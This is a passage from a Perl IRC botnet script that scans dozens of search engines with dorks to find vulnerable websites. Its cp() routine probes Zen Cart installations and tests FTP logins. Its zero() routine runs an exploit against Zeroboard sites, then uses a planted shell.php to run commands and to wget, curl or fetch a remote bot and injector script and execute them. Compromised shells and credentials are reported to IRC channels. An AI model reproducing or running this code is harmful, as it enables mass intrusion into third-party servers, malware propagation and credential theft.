  743. else { if (fork) { exit; } else {
  744. &type($chan,$bug,$dork,"AsKNL",$type);
  745. } exit; }
  746. }
  747. if ($engine =~ /askuk/i) {
  748. if ($pid = fork) { waitpid($pid, 0); }
  749. else { if (fork) { exit; } else {
  750. &type($chan,$bug,$dork,"AsKUK",$type);
  751. } exit; }
  752. }
  753. if ($engine =~ /askbr/i) {
  754. if ($pid = fork) { waitpid($pid, 0); }
  755. else { if (fork) { exit; } else {
  756. &type($chan,$bug,$dork,"AsKBR",$type);
  757. } exit; }
  758. }
  759. if ($engine =~ /askpl/i) {
  760. if ($pid = fork) { waitpid($pid, 0); }
  761. else { if (fork) { exit; } else {
  762. &type($chan,$bug,$dork,"AsKPL",$type);
  763. } exit; }
  764. }
  765. if ($engine =~ /askau/i) {
  766. if ($pid = fork) { waitpid($pid, 0); }
  767. else { if (fork) { exit; } else {
  768. &type($chan,$bug,$dork,"AsKAU",$type);
  769. } exit; }
  770. }
  771. if ($engine =~ /askat/i) {
  772. if ($pid = fork) { waitpid($pid, 0); }
  773. else { if (fork) { exit; } else {
  774. &type($chan,$bug,$dork,"AsKAT",$type);
  775. } exit; }
  776. }
  777. if ($engine =~ /askjp/i) {
  778. if ($pid = fork) { waitpid($pid, 0); }
  779. else { if (fork) { exit; } else {
  780. &type($chan,$bug,$dork,"AsKJP",$type);
  781. } exit; }
  782. }
  783. if ($engine =~ /askse/i) {
  784. if ($pid = fork) { waitpid($pid, 0); }
  785. else { if (fork) { exit; } else {
  786. &type($chan,$bug,$dork,"AsKSE",$type);
  787. } exit; }
  788. }
  789. if ($engine =~ /askmx/i) {
  790. if ($pid = fork) { waitpid($pid, 0); }
  791. else { if (fork) { exit; } else {
  792. &type($chan,$bug,$dork,"AsKMX",$type);
  793. } exit; }
  794. }
  795. if ($engine =~ /askno/i) {
  796. if ($pid = fork) { waitpid($pid, 0); }
  797. else { if (fork) { exit; } else {
  798. &type($chan,$bug,$dork,"AsKNO",$type);
  799. } exit; }
  800. }
  801. if ($engine =~ /askdk/i) {
  802. if ($pid = fork) { waitpid($pid, 0); }
  803. else { if (fork) { exit; } else {
  804. &type($chan,$bug,$dork,"AsKDK",$type);
  805. } exit; }
  806. }
  807.  
  808. if ($engine =~ /uol/i) {
  809. if ($pid = fork) { waitpid($pid, 0); }
  810. else { if (fork) { exit; } else {
  811. &type($chan,$bug,$dork,"uol",$type);
  812. } exit; }
  813. }
  814.  
  815. if ($engine =~ /yahoo/i) {
  816. if ($pid = fork) { waitpid($pid, 0); }
  817. else { if (fork) { exit; } else {
  818. &type($chan,$bug,$dork,"yahoo",$type);
  819. } exit; }
  820. }
  821. if ($engine =~ /yahoo/i) {
  822. if ($pid = fork) { waitpid($pid, 0); }
  823. else { if (fork) { exit; } else {
  824. &type($chan,$bug,$dork,"YahOo",$type);
  825. } exit; }
  826. }
  827. if ($engine =~ /yahooca/i) {
  828. if ($pid = fork) { waitpid($pid, 0); }
  829. else { if (fork) { exit; } else {
  830. &type($chan,$bug,$dork,"YahOoCA",$type);
  831. } exit; }
  832. }
  833. if ($engine =~ /yahoouk/i) {
  834. if ($pid = fork) { waitpid($pid, 0); }
  835. else { if (fork) { exit; } else {
  836. &type($chan,$bug,$dork,"YahOoUK",$type);
  837. } exit; }
  838. }
  839. if ($engine =~ /yahoode/i) {
  840. if ($pid = fork) { waitpid($pid, 0); }
  841. else { if (fork) { exit; } else {
  842. &type($chan,$bug,$dork,"YahOoDE",$type);
  843. } exit; }
  844. }
  845. if ($engine =~ /yahoofr/i) {
  846. if ($pid = fork) { waitpid($pid, 0); }
  847. else { if (fork) { exit; } else {
  848. &type($chan,$bug,$dork,"YahOoFR",$type);
  849. } exit; }
  850. }
  851. if ($engine =~ /yahooes/i) {
  852. if ($pid = fork) { waitpid($pid, 0); }
  853. else { if (fork) { exit; } else {
  854. &type($chan,$bug,$dork,"YahOoES",$type);
  855. } exit; }
  856. }
  857. if ($engine =~ /yahooit/i) {
  858. if ($pid = fork) { waitpid($pid, 0); }
  859. else { if (fork) { exit; } else {
  860. &type($chan,$bug,$dork,"YahOoIT",$type);
  861. } exit; }
  862. }
  863. if ($engine =~ /yahooid/i) {
  864. if ($pid = fork) { waitpid($pid, 0); }
  865. else { if (fork) { exit; } else {
  866. &type($chan,$bug,$dork,"YahOoID",$type);
  867. } exit; }
  868. }
  869. if ($engine =~ /yahooin/i) {
  870. if ($pid = fork) { waitpid($pid, 0); }
  871. else { if (fork) { exit; } else {
  872. &type($chan,$bug,$dork,"YahOoIN",$type);
  873. } exit; }
  874. }
  875. if ($engine =~ /yahooau/i) {
  876. if ($pid = fork) { waitpid($pid, 0); }
  877. else { if (fork) { exit; } else {
  878. &type($chan,$bug,$dork,"YahOoAU",$type);
  879. } exit; }
  880. }
  881. if ($engine =~ /yahoomx/i) {
  882. if ($pid = fork) { waitpid($pid, 0); }
  883. else { if (fork) { exit; } else {
  884. &type($chan,$bug,$dork,"YahOoMX",$type);
  885. } exit; }
  886. }
  887. if ($engine =~ /yahootw/i) {
  888. if ($pid = fork) { waitpid($pid, 0); }
  889. else { if (fork) { exit; } else {
  890. &type($chan,$bug,$dork,"YahOoTW",$type);
  891. } exit; }
  892. }
  893. if ($engine =~ /yahoobr/i) {
  894. if ($pid = fork) { waitpid($pid, 0); }
  895. else { if (fork) { exit; } else {
  896. &type($chan,$bug,$dork,"YahOoBR",$type);
  897. } exit; }
  898. }
  899. if ($engine =~ /yahooar/i) {
  900. if ($pid = fork) { waitpid($pid, 0); }
  901. else { if (fork) { exit; } else {
  902. &type($chan,$bug,$dork,"YahOoAR",$type);
  903. } exit; }
  904. }
  905. if ($engine =~ /yahoonl/i) {
  906. if ($pid = fork) { waitpid($pid, 0); }
  907. else { if (fork) { exit; } else {
  908. &type($chan,$bug,$dork,"YahOoNL",$type);
  909. } exit; }
  910. }
  911. if ($engine =~ /yahoodk/i) {
  912. if ($pid = fork) { waitpid($pid, 0); }
  913. else { if (fork) { exit; } else {
  914. &type($chan,$bug,$dork,"YahOoDK",$type);
  915. } exit; }
  916. }
  917. if ($engine =~ /yahooph/i) {
  918. if ($pid = fork) { waitpid($pid, 0); }
  919. else { if (fork) { exit; } else {
  920. &type($chan,$bug,$dork,"YahOoPH",$type);
  921. } exit; }
  922. }
  923. if ($engine =~ /yahoocl/i) {
  924. if ($pid = fork) { waitpid($pid, 0); }
  925. else { if (fork) { exit; } else {
  926. &type($chan,$bug,$dork,"YahOoCL",$type);
  927. } exit; }
  928. }
  929. if ($engine =~ /yahoor/i) {
  930. if ($pid = fork) { waitpid($pid, 0); }
  931. else { if (fork) { exit; } else {
  932. &type($chan,$bug,$dork,"YahOoRU",$type);
  933. } exit; }
  934. }
  935. if ($engine =~ /yahooch/i) {
  936. if ($pid = fork) { waitpid($pid, 0); }
  937. else { if (fork) { exit; } else {
  938. &type($chan,$bug,$dork,"YahOoCH",$type);
  939. } exit; }
  940. }
  941. if ($engine =~ /yahooco/i) {
  942. if ($pid = fork) { waitpid($pid, 0); }
  943. else { if (fork) { exit; } else {
  944. &type($chan,$bug,$dork,"YahOoCO",$type);
  945. } exit; }
  946. }
  947. if ($engine =~ /yahoofi/i) {
  948. if ($pid = fork) { waitpid($pid, 0); }
  949. else { if (fork) { exit; } else {
  950. &type($chan,$bug,$dork,"YahOoFI",$type);
  951. } exit; }
  952. }
  953. if ($engine =~ /yahooro/i) {
  954. if ($pid = fork) { waitpid($pid, 0); }
  955. else { if (fork) { exit; } else {
  956. &type($chan,$bug,$dork,"YahOoRO",$type);
  957. } exit; }
  958. }
  959. if ($engine =~ /yahoove/i) {
  960. if ($pid = fork) { waitpid($pid, 0); }
  961. else { if (fork) { exit; } else {
  962. &type($chan,$bug,$dork,"YahOoVE",$type);
  963. } exit; }
  964. }
  965. if ($engine =~ /yahooat/i) {
  966. if ($pid = fork) { waitpid($pid, 0); }
  967. else { if (fork) { exit; } else {
  968. &type($chan,$bug,$dork,"YahOoAT",$type);
  969. } exit; }
  970. }
  971. if ($engine =~ /yahoopl/i) {
  972. if ($pid = fork) { waitpid($pid, 0); }
  973. else { if (fork) { exit; } else {
  974. &type($chan,$bug,$dork,"YahOoPL",$type);
  975. } exit; }
  976. }
  977. if ($engine =~ /yahookr/i) {
  978. if ($pid = fork) { waitpid($pid, 0); }
  979. else { if (fork) { exit; } else {
  980. &type($chan,$bug,$dork,"YahOoKR",$type);
  981. } exit; }
  982. }
  983. if ($engine =~ /yahoonz/i) {
  984. if ($pid = fork) { waitpid($pid, 0); }
  985. else { if (fork) { exit; } else {
  986. &type($chan,$bug,$dork,"YahOoNZ",$type);
  987. } exit; }
  988. }
  989. if ($engine =~ /yahoogr/i) {
  990. if ($pid = fork) { waitpid($pid, 0); }
  991. else { if (fork) { exit; } else {
  992. &type($chan,$bug,$dork,"YahOoGR",$type);
  993. } exit; }
  994. }
  995. if ($engine =~ /yahoope/i) {
  996. if ($pid = fork) { waitpid($pid, 0); }
  997. else { if (fork) { exit; } else {
  998. &type($chan,$bug,$dork,"YahOoPE",$type);
  999. } exit; }
  1000. }
  1001. if ($engine =~ /yahoo7/i) {
  1002. if ($pid = fork) { waitpid($pid, 0); }
  1003. else { if (fork) { exit; } else {
  1004. &type($chan,$bug,$dork,"YahOo7",$type);
  1005. } exit; }
  1006. }
  1007.  
  1008. if ($engine =~ /clusty/i) {
  1009. if ($pid = fork) { waitpid($pid, 0); }
  1010. else { if (fork) { exit; } else {
  1011. &type($chan,$bug,$dork,"clusty",$type);
  1012. } exit; }
  1013. }
  1014.  
  1015. if ($engine =~ /gutser/i) {
  1016. if ($pid = fork) { waitpid($pid, 0); }
  1017. else { if (fork) { exit; } else {
  1018. &type($chan,$bug,$dork,"gutser",$type);
  1019. } exit; }
  1020. }
  1021.  
  1022. if ($engine =~ /rediff/i) {
  1023. if ($pid = fork) { waitpid($pid, 0); }
  1024. else { if (fork) { exit; } else {
  1025. &type($chan,$bug,$dork,"rediff",$type);
  1026. } exit; }
  1027. }
  1028.  
  1029. if ($engine =~ /virgilio/i) {
  1030. if ($pid = fork) { waitpid($pid, 0); }
  1031. else { if (fork) { exit; } else {
  1032. &type($chan,$bug,$dork,"virgilio",$type);
  1033. } exit; }
  1034. }
  1035.  
  1036. if ($engine =~ /webde/i) {
  1037. if ($pid = fork) { waitpid($pid, 0); }
  1038. else { if (fork) { exit; } else {
  1039. &type($chan,$bug,$dork,"webde",$type);
  1040. } exit; }
  1041. }
  1042.  
  1043. if ($engine =~ /exalead/i) {
  1044. if ($pid = fork) { waitpid($pid, 0); }
  1045. else { if (fork) { exit; } else {
  1046. &type($chan,$bug,$dork,"exalead",$type);
  1047. } exit; }
  1048. }
  1049.  
  1050. if ($engine =~ /lycos/i) {
  1051. if ($pid = fork) { waitpid($pid, 0); }
  1052. else { if (fork) { exit; } else {
  1053. &type($chan,$bug,$dork,"lycos",$type);
  1054. } exit; }
  1055. }
  1056.  
  1057. if ($engine =~ /hotbot/i) {
  1058. if ($pid = fork) { waitpid($pid, 0); }
  1059. else { if (fork) { exit; } else {
  1060. &type($chan,$bug,$dork,"hotbot",$type);
  1061. } exit; }
  1062. }
  1063.  
  1064. if ($engine =~ /aol/i) {
  1065. if ($pid = fork) { waitpid($pid, 0); }
  1066. else { if (fork) { exit; } else {
  1067. &type($chan,$bug,$dork,"aol",$type);
  1068. } exit; }
  1069. }
  1070.  
  1071. if ($engine =~ /sapo/i) {
  1072. if ($pid = fork) { waitpid($pid, 0); }
  1073. else { if (fork) { exit; } else {
  1074. &type($chan,$bug,$dork,"sapo",$type);
  1075. } exit; }
  1076. }
  1077.  
  1078. if ($engine =~ /duck/i) {
  1079. if ($pid = fork) { waitpid($pid, 0); }
  1080. else { if (fork) { exit; } else {
  1081. &type($chan,$bug,$dork,"duck",$type);
  1082. } exit; }
  1083. }
  1084.  
  1085. if ($engine =~ /lygo/i) {
  1086. if ($pid = fork) { waitpid($pid, 0); }
  1087. else { if (fork) { exit; } else {
  1088. &type($chan,$bug,$dork,"lygo",$type);
  1089. } exit; }
  1090. }
  1091.  
  1092. if ($engine =~ /yause/i) {
  1093. if ($pid = fork) { waitpid($pid, 0); }
  1094. else { if (fork) { exit; } else {
  1095. &type($chan,$bug,$dork,"yause",$type);
  1096. } exit; }
  1097. }
  1098.  
  1099. if ($engine =~ /baidu/i) {
  1100. if ($pid = fork) { waitpid($pid, 0); }
  1101. else { if (fork) { exit; } else {
  1102. &type($chan,$bug,$dork,"baidu",$type);
  1103. } exit; }
  1104. }
  1105.  
  1106. if ($engine =~ /kipot/i) {
  1107. if ($pid = fork) { waitpid($pid, 0); }
  1108. else { if (fork) { exit; } else {
  1109. &type($chan,$bug,$dork,"kipot",$type);
  1110. } exit; }
  1111. }
  1112.  
  1113. if ($engine =~ /gibla/i) {
  1114. if ($pid = fork) { waitpid($pid, 0); }
  1115. else { if (fork) { exit; } else {
  1116. &type($chan,$bug,$dork,"gibla",$type);
  1117. } exit; }
  1118. }
  1119.  
  1120. if ($engine =~ /black/i) {
  1121. if ($pid = fork) { waitpid($pid, 0); }
  1122. else { if (fork) { exit; } else {
  1123. &type($chan,$bug,$dork,"black",$type);
  1124. } exit; }
  1125. }
  1126.  
  1127. if ($engine =~ /onet/i) {
  1128. if ($pid = fork) { waitpid($pid, 0); }
  1129. else { if (fork) { exit; } else {
  1130. &type($chan,$bug,$dork,"onet",$type);
  1131. } exit; }
  1132. }
  1133.  
  1134. if ($engine =~ /sizuka/i) {
  1135. if ($pid = fork) { waitpid($pid, 0); }
  1136. else { if (fork) { exit; } else {
  1137. &type($chan,$bug,$dork,"sizuka",$type);
  1138. } exit; }
  1139. }
  1140.  
  1141. if ($engine =~ /walla/i) {
  1142. if ($pid = fork) { waitpid($pid, 0); }
  1143. else { if (fork) { exit; } else {
  1144. &type($chan,$bug,$dork,"walla",$type);
  1145. } exit; }
  1146. }
  1147.  
  1148. if ($engine =~ /demos/i) {
  1149. if ($pid = fork) { waitpid($pid, 0); }
  1150. else { if (fork) { exit; } else {
  1151. &type($chan,$bug,$dork,"demos",$type);
  1152. } exit; }
  1153. }
  1154.  
  1155. if ($engine =~ /rose/i) {
  1156. if ($pid = fork) { waitpid($pid, 0); }
  1157. else { if (fork) { exit; } else {
  1158. &type($chan,$bug,$dork,"rose",$type);
  1159. } exit; }
  1160. }
  1161.  
  1162. if ($engine =~ /seznam/i) {
  1163. if ($pid = fork) { waitpid($pid, 0); }
  1164. else { if (fork) { exit; } else {
  1165. &type($chan,$bug,$dork,"seznam",$type);
  1166. } exit; }
  1167. }
  1168.  
  1169. if ($engine =~ /tiscali/i) {
  1170. if ($pid = fork) { waitpid($pid, 0); }
  1171. else { if (fork) { exit; } else {
  1172. &type($chan,$bug,$dork,"tiscali",$type);
  1173. } exit; }
  1174. }
  1175.  
  1176. if ($engine =~ /naver/i) {
  1177. if ($pid = fork) { waitpid($pid, 0); }
  1178. else { if (fork) { exit; } else {
  1179. &type($chan,$bug,$dork,"naver",$type);
  1180. } exit; }
  1181. }
  1182. if ($engine =~ /live/i) {
  1183. if ($pid = fork) { waitpid($pid, 0); }
  1184. else { if (fork) { exit; } else {
  1185. &type($chan,$bug,$dork,"live",$type);
  1186. } exit; }
  1187. }
  1188.  
  1189. if ($engine =~ /rakuten/i) {
  1190. if ($pid = fork) { waitpid($pid, 0); }
  1191. else { if (fork) { exit; } else {
  1192. &type($chan,$bug,$dork,"rakuten",$type);
  1193. } exit; }
  1194. }
  1195.  
  1196. if ($engine =~ /biglobe/i) {
  1197. if ($pid = fork) { waitpid($pid, 0); }
  1198. else { if (fork) { exit; } else {
  1199. &type($chan,$bug,$dork,"biglobe",$type);
  1200. } exit; }
  1201. }
  1202.  
  1203. if ($engine =~ /nova/i) {
  1204. if ($pid = fork) { waitpid($pid, 0); }
  1205. else { if (fork) { exit; } else {
  1206. &type($chan,$bug,$dork,"nova",$type);
  1207. } exit; }
  1208. }
  1209.  
  1210. if ($engine =~ /najdi/i) {
  1211. if ($pid = fork) { waitpid($pid, 0); }
  1212. else { if (fork) { exit; } else {
  1213. &type($chan,$bug,$dork,"najdi",$type);
  1214. } exit; }
  1215. }
  1216.  
  1217. if ($engine =~ /goo/i) {
  1218. if ($pid = fork) { waitpid($pid, 0); }
  1219. else { if (fork) { exit; } else {
  1220. &type($chan,$bug,$dork,"goo",$type);
  1221. } exit; }
  1222. }
  1223.  
  1224. if ($engine =~ /uksubmit/i) {
  1225. if ($pid = fork) { waitpid($pid, 0); }
  1226. else { if (fork) { exit; } else {
  1227. &type($chan,$bug,$dork,"uksubmit",$type);
  1228. } exit; }
  1229. }
  1230.  
  1231. if ($engine =~ /excite/i) {
  1232. if ($pid = fork) { waitpid($pid, 0); }
  1233. else { if (fork) { exit; } else {
  1234. &type($chan,$bug,$dork,"excite",$type);
  1235. } exit; }
  1236. }
  1237.  
  1238. if ($engine =~ /amidalla/i) {
  1239. if ($pid = fork) { waitpid($pid, 0); }
  1240. else { if (fork) { exit; } else {
  1241. &type($chan,$bug,$dork,"amidalla",$type);
  1242. } exit; }
  1243. }
  1244.  
  1245. if ($engine =~ /buscar/i) {
  1246. if ($pid = fork) { waitpid($pid, 0); }
  1247. else { if (fork) { exit; } else {
  1248. &type($chan,$bug,$dork,"buscar",$type);
  1249. } exit; }
  1250. }
  1251.  
  1252. if ($engine =~ /sogou/i) {
  1253. if ($pid = fork) { waitpid($pid, 0); }
  1254. else { if (fork) { exit; } else {
  1255. &type($chan,$bug,$dork,"sogou",$type);
  1256. } exit; }
  1257. }
  1258.  
  1259. if ($engine =~ /interia/i) {
  1260. if ($pid = fork) { waitpid($pid, 0); }
  1261. else { if (fork) { exit; } else {
  1262. &type($chan,$bug,$dork,"interia",$type);
  1263. } exit; }
  1264. }
  1265.  
  1266. if ($engine =~ /snz/i) {
  1267. if ($pid = fork) { waitpid($pid, 0); }
  1268. else { if (fork) { exit; } else {
  1269. &type($chan,$bug,$dork,"snz",$type);
  1270. } exit; }
  1271. }
  1272.  
  1273. if ($engine =~ /yandex/i) {
  1274. if ($pid = fork) { waitpid($pid, 0); }
  1275. else { if (fork) { exit; } else {
  1276. &type($chan,$bug,$dork,"yandex",$type);
  1277. } exit; }
  1278. }
  1279.  
  1280. if ($engine =~ /joeant/i) {
  1281. if ($pid = fork) { waitpid($pid, 0); }
  1282. else { if (fork) { exit; } else {
  1283. &type($chan,$bug,$dork,"joeant",$type);
  1284. } exit; }
  1285. }
  1286.  
  1287. if ($engine =~ /terra/i) {
  1288. if ($pid = fork) { waitpid($pid, 0); }
  1289. else { if (fork) { exit; } else {
  1290. &type($chan,$bug,$dork,"terra",$type);
  1291. } exit; }
  1292. }
  1293. if ($engine =~ /youdao/i) {
  1294. if ($pid = fork) { waitpid($pid, 0); }
  1295. else { if (fork) { exit; } else {
  1296. &type($chan,$bug,$dork,"youdao",$type);
  1297. } exit; }
  1298. }
  1299.  
  1300. if ($engine =~ /amfibi/i) {
  1301. if ($pid = fork) { waitpid($pid, 0); }
  1302. else { if (fork) { exit; } else {
  1303. &type($chan,$bug,$dork,"amfibi",$type);
  1304. } exit; }
  1305. }
  1306.  
  1307. if ($engine =~ /bigclique/i) {
  1308. if ($pid = fork) { waitpid($pid, 0); }
  1309. else { if (fork) { exit; } else {
  1310. &type($chan,$bug,$dork,"bigclique",$type);
  1311. } exit; }
  1312. }
  1313.  
  1314. if ($engine =~ /dancefloor/i) {
  1315. if ($pid = fork) { waitpid($pid, 0); }
  1316. else { if (fork) { exit; } else {
  1317. &type($chan,$bug,$dork,"dancefloor",$type);
  1318. } exit; }
  1319. }
  1320.  
  1321. if ($engine =~ /latina/i) {
  1322. if ($pid = fork) { waitpid($pid, 0); }
  1323. else { if (fork) { exit; } else {
  1324. &type($chan,$bug,$dork,"latina",$type);
  1325. } exit; }
  1326. }
  1327.  
  1328. if ($engine =~ /goojp/i) {
  1329. if ($pid = fork) { waitpid($pid, 0); }
  1330. else { if (fork) { exit; } else {
  1331. &type($chan,$bug,$dork,"goojp",$type);
  1332. } exit; }
  1333. }
  1334.  
  1335. if ($engine =~ /yahoohk/i) {
  1336. if ($pid = fork) { waitpid($pid, 0); }
  1337. else { if (fork) { exit; } else {
  1338. &type($chan,$bug,$dork,"yahoohk",$type);
  1339. } exit; }
  1340. }
  1341.  
  1342. if ($engine =~ /setooz/i) {
  1343. if ($pid = fork) { waitpid($pid, 0); }
  1344. else { if (fork) { exit; } else {
  1345. &type($chan,$bug,$dork,"setooz",$type);
  1346. } exit; }
  1347. }
  1348.  
  1349. if ($engine =~ /aubing/i) {
  1350. if ($pid = fork) { waitpid($pid, 0); }
  1351. else { if (fork) { exit; } else {
  1352. &type($chan,$bug,$dork,"aubing",$type);
  1353. } exit; }
  1354. }
  1355.  
  1356. if ($engine =~ /yahoo7/i) {
  1357. if ($pid = fork) { waitpid($pid, 0); }
  1358. else { if (fork) { exit; } else {
  1359. &type($chan,$bug,$dork,"yahoo7",$type);
  1360. } exit; }
  1361. }
  1362.  
  1363. if ($engine =~ /gooes/i) {
  1364. if ($pid = fork) { waitpid($pid, 0); }
  1365. else { if (fork) { exit; } else {
  1366. &type($chan,$bug,$dork,"gooes",$type);
  1367. } exit; }
  1368. }
  1369.  
  1370. if ($engine =~ /neti/i) {
  1371. if ($pid = fork) { waitpid($pid, 0); }
  1372. else { if (fork) { exit; } else {
  1373. &type($chan,$bug,$dork,"neti",$type);
  1374. } exit; }
  1375. }
  1376.  
  1377. if ($engine =~ /doogate/i) {
  1378. if ($pid = fork) { waitpid($pid, 0); }
  1379. else { if (fork) { exit; } else {
  1380. &type($chan,$bug,$dork,"doogate",$type);
  1381. } exit; }
  1382. }
  1383.  
  1384. if ($engine =~ /webwombat/i) {
  1385. if ($pid = fork) { waitpid($pid, 0); }
  1386. else { if (fork) { exit; } else {
  1387. &type($chan,$bug,$dork,"webwombat",$type);
  1388. } exit; }
  1389. }
  1390.  
  1391. if ($engine =~ /euroseek/i) {
  1392. if ($pid = fork) { waitpid($pid, 0); }
  1393. else { if (fork) { exit; } else {
  1394. &type($chan,$bug,$dork,"euroseek",$type);
  1395. } exit; }
  1396. }
  1397.  
  1398. if ($engine =~ /alltheweb/i) {
  1399. if ($pid = fork) { waitpid($pid, 0); }
  1400. else { if (fork) { exit; } else {
  1401. &type($chan,$bug,$dork,"alltheweb",$type);
  1402. } exit; }
  1403. }
  1404.  
  1405. if ($engine =~ /mamma/i) {
  1406. if ($pid = fork) { waitpid($pid, 0); }
  1407. else { if (fork) { exit; } else {
  1408. &type($chan,$bug,$dork,"mamma",$type);
  1409. } exit; }
  1410. }
  1411.  
  1412. if ($engine =~ /yahoo2/i) {
  1413. if ($pid = fork) { waitpid($pid, 0); }
  1414. else { if (fork) { exit; } else {
  1415. &type($chan,$bug,$dork,"yahoo2",$type);
  1416. } exit; }
  1417. }
  1418.  
  1419. if ($engine =~ /kvasir/i) {
  1420. if ($pid = fork) { waitpid($pid, 0); }
  1421. else { if (fork) { exit; } else {
  1422. &type($chan,$bug,$dork,"kvasir",$type);
  1423. } exit; }
  1424. }
  1425.  
  1426. if ($engine =~ /netsprint/i) {
  1427. if ($pid = fork) { waitpid($pid, 0); }
  1428. else { if (fork) { exit; } else {
  1429. &type($chan,$bug,$dork,"netsprint",$type);
  1430. } exit; }
  1431. }
  1432.  
  1433. if ($engine =~ /saol/i) {
  1434. if ($pid = fork) { waitpid($pid, 0); }
  1435. else { if (fork) { exit; } else {
  1436. &type($chan,$bug,$dork,"saol",$type);
  1437. } exit; }
  1438. }
  1439.  
  1440. if ($engine =~ /lookle/i) {
  1441. if ($pid = fork) { waitpid($pid, 0); }
  1442. else { if (fork) { exit; } else {
  1443. &type($chan,$bug,$dork,"lookle",$type);
  1444. } exit; }
  1445. }
  1446.  
  1447. if ($engine =~ /optuszoo/i) {
  1448. if ($pid = fork) { waitpid($pid, 0); }
  1449. else { if (fork) { exit; } else {
  1450. &type($chan,$bug,$dork,"optuszoo",$type);
  1451. } exit; }
  1452. }
  1453.  
  1454. if ($engine =~ /search66/i) {
  1455. if ($pid = fork) { waitpid($pid, 0); }
  1456. else { if (fork) { exit; } else {
  1457. &type($chan,$bug,$dork,"search66",$type);
  1458. } exit; }
  1459. }
  1460.  
  1461. if ($engine =~ /arrama/i) {
  1462. if ($pid = fork) { waitpid($pid, 0); }
  1463. else { if (fork) { exit; } else {
  1464. &type($chan,$bug,$dork,"arrama",$type);
  1465. } exit; }
  1466. }
  1467.  
  1468. if ($engine =~ /excitejp/i) {
  1469. if ($pid = fork) { waitpid($pid, 0); }
  1470. else { if (fork) { exit; } else {
  1471. &type($chan,$bug,$dork,"excitejp",$type);
  1472. } exit; }
  1473. }
  1474.  
  1475. if ($engine =~ /clix/i) {
  1476. if ($pid = fork) { waitpid($pid, 0); }
  1477. else { if (fork) { exit; } else {
  1478. &type($chan,$bug,$dork,"clix",$type);
  1479. } exit; }
  1480. }
  1481.  
  1482. if ($engine =~ /searchch/i) {
  1483. if ($pid = fork) { waitpid($pid, 0); }
  1484. else { if (fork) { exit; } else {
  1485. &type($chan,$bug,$dork,"searchch",$type); } exit; }
  1486. }
  1487.  
  1488. if ($engine =~ /cada/i) {
  1489. if ($pid = fork) { waitpid($pid, 0); }
  1490. else { if (fork) { exit; } else {
  1491. &type($chan,$bug,$dork,"cada",$type);
  1492. } exit; }
  1493. }
  1494. if ($engine =~ /bypass/i) {
  1495. if ($pid = fork) { waitpid($pid, 0); }
  1496. else { if (fork) { exit; } else {
  1497. &type($chan,$bug,$dork,"ByPass",$type);
  1498. } exit; }
  1499. }
  1500. }
  1501.  
  1502. #########################################
  1503. sub cp() {
  1504. my $chan = $_[0];
  1505. my $bug = $_[1];
  1506. my $dork = $_[2];
  1507. my $engine = $_[3];
  1508. my $count = 0;
  1509. my @list = &search_engine($chan,$bug,$dork,$engine,$cplogo);
  1510. my $num = scalar(@list);
  1511. if ($num > 0) {
  1512. foreach my $site (@list) {
  1513. $count++;
  1514. if ($count == $num-1) { &msg("$chan","$cplogo [$engine] Done ...!"); }
  1515. my $test = "http://".$site."extras/curltest.php";
  1516. my $vuln = "http://".$site."extras/ipn_test_return.php";
  1517. my $html = &get_content($test);
  1518. if ($html =~ /Zen Cart/){
  1519. my $target = &get_content($vuln);
  1520. if ($target =~ /failed to open stream/){
  1521. my $dir ="";
  1522. if ($target =~ m/in <b>(.*?)\/extras\/ipn_test_return.php<\/b>/) {$dir = $1;}
  1523. my $cp = "ftp://$user:$pass@".$site."";
  1524. my $cpanel = &get_content($cp);
  1525. if ($cpanel =~ /ftp/){
  1526. &msg("$admin","$cplogo15[2$engine][2VuLn15]7 ftp://$user:$pass@".$site." $user:$pass Sukses ");
  1527. &msg("$chanx","$cplogo15[2$engine][2VuLn15]7( http://".$site." 15[2+15]3user: $user 15[2+15]3pass: $pass )");
  1528. }
  1529. }}}}}
  1530.  
  1531. sub zero() {
  1532. my $chan = $_[0];
  1533. my $bug = $_[1];
  1534. my $dork = $_[2];
  1535. my $engine = $_[3];
  1536. my $count = 0;
  1537. my @list = &search_engine($chan,$bug,$dork,$engine,$zerologo);
  1538. my $num = scalar(@list);
  1539. if ($num > 0) {
  1540. foreach my $site (@list) {
  1541. $count++;
  1542. if ($count == $num-1) { &msg("$chan","$zerologo [$engine] Scan finish"); }
  1543. my $reslx = "http://".$site.$bug;
  1544. my $crot = get_content($reslx);
  1545. if ($crot =~ /Zeroboard/) {
  1546. my $sc = system("./zero $reslx 80");
  1547. my $laporan = get_content("http://".$site."/data/shell.php?cmd=uname%20-a");
  1548. my $check = get_content("http://".$site."/data/shell.php");
  1549. if ($check =~ /Cannot execute a blank command/) {
  1550. &msg("$chan","$zerologo15[2$engine15](2VuLn15)10 http://".$site."/data/shell.php?cmd=uname -a 3Uname: $laporan");
  1551. }
  1552. my $loadBot = get_content("http://".$site."/data/shell.php");get_content("http://".$site."/data/shell.php?cmd=wget ".$bot.";fetch ".$bot.";curl -O ".$bot.";lwp-download ".$bot.";mv 05.jpg bot_.php;php bot_.php");
  1553. my $cekBot = get_content("http://".$site."/data/bot_.php");
  1554. my $check2 = get_content("http://".$site."/data/shell.php");get_content("http://".$site."/data/shell.php?cmd=wget ".$injector." -O log.php;fetch ".$injector." - log.php;curl -O ".$injector." -O log.php;lwp-download ".$injector.";mv index_ip.jpg log.php");
  1555. my $vuln = get_content("http://".$site."/data/log.php");
  1556. if ($vuln =~ /ipays - exploit/) {
  1557. my $safe ="";
  1558. my $os ="";
  1559. my $free ="";
  1560. if ($vuln =~ m/Software : (.*?)<\/u><\/b><\/a><br>/) {$soft = $1;}
  1561. if ($vuln =~ m/SAFE MODE is (.*?)<\/b><\/font>/) {$safe = $1;}
  1562. if ($vuln =~ m/OS : (.*?)<br>/) {$os = $1;}
  1563. if ($vuln =~ m/Freespace : (.*?)<\/p><\/td><\/tr>/) {$free = $1;}
  1564. &msg("$chan","$zerologo15[2$engine15](3SHELL15)10 http://".$site."/data/log.php 15(3SafeMode= $safe15)(3OS= $os15)(3FreeSpace= $free15)");
  1565. &msg("$admin","$zerologo15[2$engine15](3SHELL15)10 http://".$site."/data/log.php 15(3SafeMode= $safe15)(3OS= $os15)(3FreeSpace= $free15)");}
  1566. }
  1567. }
  1568. }
  1569. }
  1570.  
  1571. sub osco() {
  1572. my $chan = $_[0];
  1573. my $bug = $_[1];
  1574. my $dork = $_[2];
  1575. my $engine = $_[3];
  1576. my $count = 0;
  1577. my @list = &search_engine($chan,$bug,$dork,$engine,$oscologo);
  1578. my $num = scalar(@list);
  1579. if ($num > 0) {
  1580. foreach my $site (@list) {
  1581. $count++;
  1582. if ($count == $num-1) { &msg("$chan","$oscologo [$engine] Scan finish"); }
